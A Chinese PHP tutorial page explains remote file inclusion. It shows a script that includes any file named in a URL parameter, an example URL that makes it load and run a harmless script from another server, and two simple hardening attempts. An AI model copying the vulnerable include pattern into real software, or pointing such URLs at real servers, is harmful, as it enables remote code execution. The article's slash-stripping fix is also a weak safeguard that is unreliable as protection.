手机
当前位置:查字典教程网 >编程开发 >php教程 >PHP 网络开发详解之远程文件包含漏洞
PHP 网络开发详解之远程文件包含漏洞
摘要:以下代码(Code)实现了根据浏览器地址栏参数的文件名称包含不同文件的功能。复制代码代码如下:这时,通过在地址栏上指定不同的文件名就可以实现...

以下代码(Code)实现了根据浏览器地址栏参数的文件名称包含不同文件的功能。

复制代码 代码如下:

<?php

$file_name = $_GET["filename"]; //获得当前文件名

include("$file_name "); //包含文件

//一些其他操作

?>

这时,通过在地址栏上指定不同的文件名就可以实现包含不同文件并执行的功能。例如,通过在浏览器上访问http://localhost/test.php?filename=myinc.php就可以在代码(Code)中包含并执行myinc.php文件。

由于上面的代码(Code)没有进行任何错误处理,在浏览器上不加参数运行,所以将得到以下运行结果。

Warning: include(.php) [function.include]: failed to open stream: No such file or directory in C:Program FilesxampphtdocsBugstest6.php on line 3

Warning: include() [function.include]: Failed opening '.php' for inclusion (include_path='.;C:Program Filesxamppphppear') in C:Program FilesxampphtdocsBugstest6.php on line 3

访问者通过读取这段错误信息,可以得知当前的操作是一个文件包含操作。这时,可以在自己的服务器上放置一个相应的脚本代码。需要注意的是PHP在获取远程文件时获得的是远程服务器的最终输出结果,而不是文件本身。该脚本代码位于192.168.0.1服务器上,文件名为hello.txt,脚本代码(Code)如下所示。

复制代码 代码如下:

<?php

echo "hello world!";

?>

这时,通过在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt就可以运行hello.txt中的脚本了。

为了解决这个问题,一种方式是完善代码的错误信息,使访问者无法知道当前脚本正在包含参数中指定的文件。修改后的代码(Code)如下所示。

复制代码 代码如下:

<?php

$file_name = $_GET["filename"]; //获得当前文件名

if(!@include("$file_name.php")) //包含文件

{

die("页面在浏览过程中出现错误");

}

//一些其他操作

?>

修改后,如果在被包含的文件无法找到时将出现“页面在浏览过程中出现错误”的错误信息,访问者将无法获得当前页面的具体操作信息。

第二种方式可以更加有效地防止远程文件包含攻击。方式是替换地址栏参数中的斜线“/”。这样,在地址栏参数中输入远程文件地址时,代码将无法正确地获得参数。修改后的代码(Code)如下所示。

复制代码 代码如下:

<?php

$file_name = str_replace('/', '', $_GET["filename"]); //获得当前文件名

if(!@include("$file_name.php")) //包含文件

{

die("页面在浏览过程中出现错误");

}

//一些其他操作

?>

这样,在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt 时,实际上PHP代码(Code)获得的包含文件名称是http:192.168.0.1bugstest6_test。页面将不会包含远程文件,并显示相应的错误信息。

【PHP 网络开发详解之远程文件包含漏洞】相关文章:

PHP设计模式之适配器模式代码实例

如何使用PHP获取网络上文件

PHP SPL标准库之文件操作

PHP 增加了对 .ZIP 文件的读取功能

PHP个人网站架设连环讲(二)

PHP系统流量分析的程序

PHP制作图型计数器的例子

PHP设计模式之装饰者模式代码实例

PHP开发文件系统实例讲解

PHP4引用文件语句的对比

精品推荐
分类导航